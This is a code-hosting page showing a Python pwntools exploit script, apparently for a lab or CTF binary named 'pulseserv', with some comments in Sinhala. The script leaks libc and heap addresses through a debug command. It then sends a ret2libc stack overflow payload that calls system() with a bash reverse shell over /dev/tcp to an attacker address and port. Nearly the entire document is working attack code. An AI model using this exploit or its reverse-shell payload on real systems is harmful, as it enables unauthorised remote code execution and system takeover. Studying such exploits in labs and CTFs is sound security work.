Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
70 lines (57 loc) · 1.93 KB
/
Copy pathexploit.py
File metadata and controls
70 lines (57 loc) · 1.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
# PulseServ Exploit - Ret2libc
from pwn import *
import sys
context.binary = elf = ELF('./pulseserv')
context.arch = 'i386'
context.log_level = 'info'
HOST, PORT = '127.0.0.1', 8899
ATTACKER, LPORT = '127.0.0.1', 4444
# ✅ අලුත් Offset එක (GDB එකෙන් හොයාගත්තු 60)
OFFSET = 60
# ✅ අලුත් Heap Offset එක (0x1a0 + 60 + 12 = 0x1e8)
CMD_STRING_FROM_HEAP = 0x1e8
# Stage 1: Leak libc and heap addresses
p = remote(HOST, PORT)
p.recvuntil(b"Type 'help' for available commands.\n\n")
p.send(b'debug-maps')
leak = p.recvall(timeout=3)
p.close()
libc_base, heap_base = None, None
for line in leak.decode(errors='ignore').splitlines():
parts = line.split()
if len(parts) < 2 or '-' not in parts[0]:
continue
try:
start = int(parts[0].split('-')[0], 16)
except ValueError:
continue
if 'libc' in line and '.so' in line:
if libc_base is None or start < libc_base:
libc_base = start
elif '[heap]' in line:
heap_base = start
if not libc_base or not heap_base:
log.failure(f"Leak failed: libc={libc_base}, heap={heap_base}")
sys.exit(1)
log.success(f"libc_base = {hex(libc_base)}")
log.success(f"heap_base = {hex(heap_base)}")
# Stage 2: Resolve system() address
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
system = libc_base + libc.symbols['system']
cmd_addr = heap_base + CMD_STRING_FROM_HEAP
log.info(f"system = {hex(system)}")
log.info(f"cmd_addr= {hex(cmd_addr)}")
# Stage 3: Construct payload
cmd = b"bash -c 'sh -i >& /dev/tcp/%s/%d 0>&1'" % (ATTACKER.encode(), LPORT)
payload = b'A' * OFFSET
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(cmd_addr)
payload += cmd + b'\x00'
# Stage 4: Trigger
p2 = remote(HOST, PORT)
p2.recvuntil(b"Type 'help' for available commands.\n\n")
p2.send(payload)
log.success("Payload sent - awaiting shell on port 4444")
p2.interactive()